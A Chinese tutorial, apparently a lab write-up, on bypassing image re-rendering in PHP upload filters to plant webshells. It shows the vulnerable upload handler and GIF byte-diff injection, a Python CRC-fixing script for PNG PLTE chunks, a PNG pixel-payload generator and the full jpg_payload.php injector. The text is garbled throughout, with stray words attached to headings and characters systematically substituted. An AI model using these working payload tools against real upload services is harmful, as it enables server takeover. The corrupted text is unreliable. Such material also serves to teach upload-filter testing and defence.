什么是二次渲染
目前不少网站都会对用户上传的图片再次压缩、裁剪等渲染操做(如PHP中的imagecreatefromjpeg()
等函数),因此普通的图片马都难逃被渲染的悲剧。php
绕过html
GIFpython
渲染先后的两张 GIF,没有发生变化的数据库部分直接插入 Webshell 便可
PNGweb
PNG 没有 GIF 那么简单,须要将数据写入到 PLTE 数据块 或者 IDAT 数据块
JPG算法
JPG 也须要使用脚本将数据插入到特定的数据库,并且可能会不成功,因此须要屡次尝试
以其中一个为例shell
$is_upload = false; $msg = null; if (isset($_POST['submit'])){ // 得到上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 得到上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操做 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只容许上传后缀为.jpg|.png|.gif的图片文件!"; } }
1.basename($filename)
返回路径中的文件名,假设命名为upload/1.php
,通过函数处理为:1.php数据库
2.将文件路径位置赋值给target_path
服务器
3.获取文件后缀名$fileextapp
4.若是后缀名符合白名单,就移动到上传路径编辑器
5.而后使用imagecreatefromjpeg()
函数,从target_path
路径的那个文件生成一个新的文件
6.srand(time());
已经废弃了,使用rand就行
7.strval() 函数获取rand()的字符串值,而后重命名一个新文件名$newfilename
8.指定一个新文件的位置$img_path
9.imagejpeg将渲染的图像生成到指定路径$img_path,生成图片
10.删除target_path
路径的文件
gif图片的特色是无损, 修改图片后,图片质量几乎没有损失
咱们能够对比上传先后图片的内容字节,在渲染后不会被修改的部分插入木马。
可使用010编辑器(更直观一点)
左侧是上传前,右侧是上传后,比较发现这段数据如出一辙
修改这段数据,再上传对比,数据没有丢失,木马插入成功
链接成功
png的二次渲染的绕过并不能像gif那样简单.
png图片由3个以上的数据块组成.
PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,
另外一种叫作辅助数据块(ancillary chunks),这是可选的数据块。
关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每一个PNG文件都必须包含它们
数据块结构
名称 | 字节数 | 说明 |
---|---|---|
长度(Length) | 4 | 指定数据块中数据域的长度,其长度不超过2*31-1字节 |
数据块类型码(Chunk Type Code) | 4 | 数据块类型由ASCII字母(A-Z和a-z)组成 |
数据块数据(Chunk Data) | 可变长度 | 存储按照Chunk Type Code指定的类型 |
循环冗余检测(CRC) | 4 | 存储用来检测是否有错误的循环冗余码 |
CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算获得的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:
x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1
CRC: 一种校验算法。仅仅用来校验数据的正确性的
数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要做为第一个数据块出如今PNG数据流中,并且一个PNG数据流中只能有一个文件头数据块。
文件头数据块由13字节组成,它的格式以下图所示。
调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,而后是一、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不能够超过2^4=16),不然,这将致使PNG图像不合法。
图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
IDAT存放着图像真正的数据信息,所以,若是可以了解IDAT的结构,咱们就能够很方便的生成PNG图像
图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,而且必需要放在文件的尾部。
若是咱们仔细观察PNG文件,咱们会发现,文件的结尾12个字符看起来总应该是这样的:
00 00 00 00 49 45 4E 44 AE 42 60 82
在网上找到了两种方式来制做绕过二次渲染的png木马.
php底层在对PLTE数据块验证的时候,主要进行了CRC校验.因此能够再chunk data域插入php代码,而后从新计算相应的crc值并修改便可.
这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03
为索引彩色图像.
在PLTE数据块写入php代码.
2.计算PLTE数据块的CRC
CRC脚本
import binascii import re png = open(r'2.png','rb') a = png.read() png.close() hexstr = binascii.b2a_hex(a) ''' PLTE crc ''' data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0] crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff print hex(crc)
d369f66d
修改crc的值
上传后链接成功
国外大牛写的脚本,直接拿来运行便可.
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>
运行以后,发现生成了一个1.php,打开分析里面已经写入代码了
可是运行不了,不知道是什么缘由
因为jpg图片易损,对图片的选取有很大关系,很容易制做失败
采用国外大牛编写的脚本jpg_payload.php
<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
随便找一个jpg图片,先上传至服务器而后再下载到本地保存为2.jpg
执行命令php jpg_payload.php 1.jpg
而后上传,就链接成功了
我复现没成功,好像有一些jpg图片不能被处理,要多尝试一些jpg图片.